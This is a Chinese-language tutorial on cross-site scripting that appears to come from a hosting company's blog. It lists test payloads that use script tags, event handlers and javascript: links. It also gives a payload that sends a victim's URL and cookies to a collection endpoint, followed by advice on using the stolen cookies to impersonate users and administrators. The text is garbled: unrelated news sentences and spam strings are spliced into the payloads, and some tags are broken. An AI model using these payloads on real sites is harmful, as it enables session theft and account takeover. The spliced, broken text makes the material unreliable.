XSS漏洞, 测试XSS漏洞, 获取cookie
一, 概念:
XSS(Cross-Site Scripting), 跨站攻击脚本, XSS漏洞发生在前端, 依赖于浏览器的解析引擎, 让前端执行攻击代码. XSS其实也算注入类的攻击, XSS代码注入需要有JavaScript编程基础.
二, 目的:
XSS(跨站脚本)攻击的目的多种多样,攻击者可以利用这种漏洞实施各种恶意行为。以下是一些常见的XSS攻击目的:
-
窃取Cookie:许多攻击者使用XSS来窃取用户的cookies,尤其是session cookies。一旦攻击者获得了这些cookies,他们可能能够伪造用户身份,接管用户的会话,访问账户或执行未授权的操作。
-
账户劫持:与上一点相关,一旦窃取了用户的认证信息,攻击者可以接管用户账户。这可能涉及改变账户设置、进行欺诈性交易或获取敏感信息。
-
传播恶意软件:攻击者可以使用XSS漏洞在用户的浏览器中执行脚本,导致受害者下载和安装恶意软件或勒索软件。
-
钓鱼攻击:通过XSS,攻击者可以修改网页内容,创建伪造的登录窗口或其他交互式元素,诱使用户提供敏感信息,如用户名、密码或信用卡详情。
-
网站内容篡改:攻击者可以修改受害者看到的网站内容,包括插入虚假信息、广告或其他恶意内容。
-
网络钓鱼和点击劫持:攻击者可以使用XSS注入脚本,强制用户在背景中执行不服务器托管网可见的操作,如点击广告或链接,从而为攻击者带来经济利益。
-
利用用户的身份执行操作:如果受害者具有某些特权,例如网站管理员,攻击者可能会利用XSS漏洞,使用受害者的权限对网站进行未授权的修改。
-
收集敏感信息:除了cookies外,攻击者还可以利用XSS窃取存储在浏览器中的其他数据,如localStorage中的数据或Web应用中的敏感信息。
-
DDoS攻击:通过XSS,攻击者可以迫使受害者的浏览器成为分布式拒绝服务(DDoS)攻击的一部分,对目标网站进行攻击。
-
绕过访问控制:在某些情况下,攻击者可能使用XSS来绕过前端的安全检查或限制。
三, 测试XSS漏洞
原理:
XSS的原理就是开发者没有对输入内容进行过滤, 导致通过攻击者精心构造的前端代码, 输入后和原来的前端代码产生混淆, 形成新的页面语句, 并且新的页面代码能够被浏览器解析并输出.
步骤:
-
- 页面既有输入的地方, 也有输出的地方, 比如留言板, 论坛发帖等等.
-
- 在文本输入的地方使用
, ,
等标签嵌入代码并提交, 例如:
- 在文本输入的地方使用
2023年前三季度我国货物贸易进出口总值30.8万亿元,同比微降0.2%;其中,9月当月,进出口3.74万亿元,
规模创年内单月新高。
button onclick=alert(document.cookie)>显示cookiebutton>
国新办当天举行的新闻发布会上表示,面对复杂严峻的外部环境和国内多重困难挑战,
我国货物贸易进出口平稳运行、积极向好。
-
- 查看提交后显示帖子的页面, 如果alert能够弹出消息, 说明存在XSS漏洞.
能够运行js的一些位置:
url: http://192.168.112.200/security/testxss.php?content=1
1.
标签
content=script>alert(1)script>
content=script>alert('hello word')script>
content=script>alert(/hello word/)script>
注意:
在url提交参数时, 加号 ‘+’ 会被表示为空格.
如果想使用加号本身, 需要url编码, 加号的url编码是 ‘%2B’ 或 ‘%2b’ .
script>var res=0;for (var i=0;i100;i%2B%2B){res%2B=i;} alert(res);/script>
2. onclick, onerror, onload, onfocus, onblur, onchange, onmouseover
等事件
content=button onclick=alert(1)>快来点我button>
content=img src="https://www.baidu.com/result.png" onclick="alert(1)">
content=img src="https://www.baidu.com/result.png" onmouseover="alert(1)">
content=script>function test(){alert("hello world")服务器托管网;}script>button onclick=test()>点我测试button>
网页源码:
input name=keyword value="">
上面代码是一个输入框, 在输入框的位置输入payload, 用双引号对value做闭合, 后面写事件与需要执行的js代码.
payload:
" nclick="alert(1)
提交后的网页源码:
input name=keyword value="" onclick="alert(1)">
3. 超链接的 href
属性, 或类似属性.
content=a href="javascript:alert(1)">快来点我a>
四, 利用XSS获取url, cookie
将当前用户访问的url和cookie发送到攻击者的远程服务器接口.
后续通过burpsuit等工具篡改cookie即可伪装用户越权访问, 尤其是管理员账户.
案例:
- 利用js代码动态生成一个图片对象, 通过src属性将url和cookie发送到攻击者准备好的远程服务器上.
当用户访问页面时, 会自动发送这个GET请求.
%2b表示+, 用于拼接字符串
%26表示&, 用于表示get参数之间的间隔符
接口: http://192.168.112.200/security/getxssinfo.php
方法: GET
参数: url, cookie
payload:
这周,一家人工智能初创公司的募资额快追上这个数。
script>
new Image().src = "http://192.168.112.200/security/getxssinfo.php?
url="%2blocation.href%2b"%26cookie="%2b document.cookie;
script>
为了确保自己在最前沿的模型上做人工智能研究,这样才能做出媲美 GPT-4 的大模型。
- 如果目标服务器不能执行 标签, 也可以通过 标签与 标签来实现.
当用户点击图片链接后, 发送url与cookie给攻击者的远程服务器接口.
payload:
这周,一家人工智能初创公司的募资额快追上这个数。
img src="https://mbdp01.bdstatic.com/static/landing-pc/img/logo_top.79fdb8c2.png"/>
a>
为了确保自己在最前沿的模型上做人工智能研究,这样才能做出媲美 GPT-4 的大模型。
服务器托管,北京服务器托管,服务器租用 http://www.fwqtg.net
相关推荐: JNDI-Injection-Exploit工具安装
从github上下载安装 git clone https://github.com/welk服务器托管网1n/JNDI-Injection-Exploit.git 打开 cd JNDI-Injection-Exploit 编译安装,Maven入门百科_mave…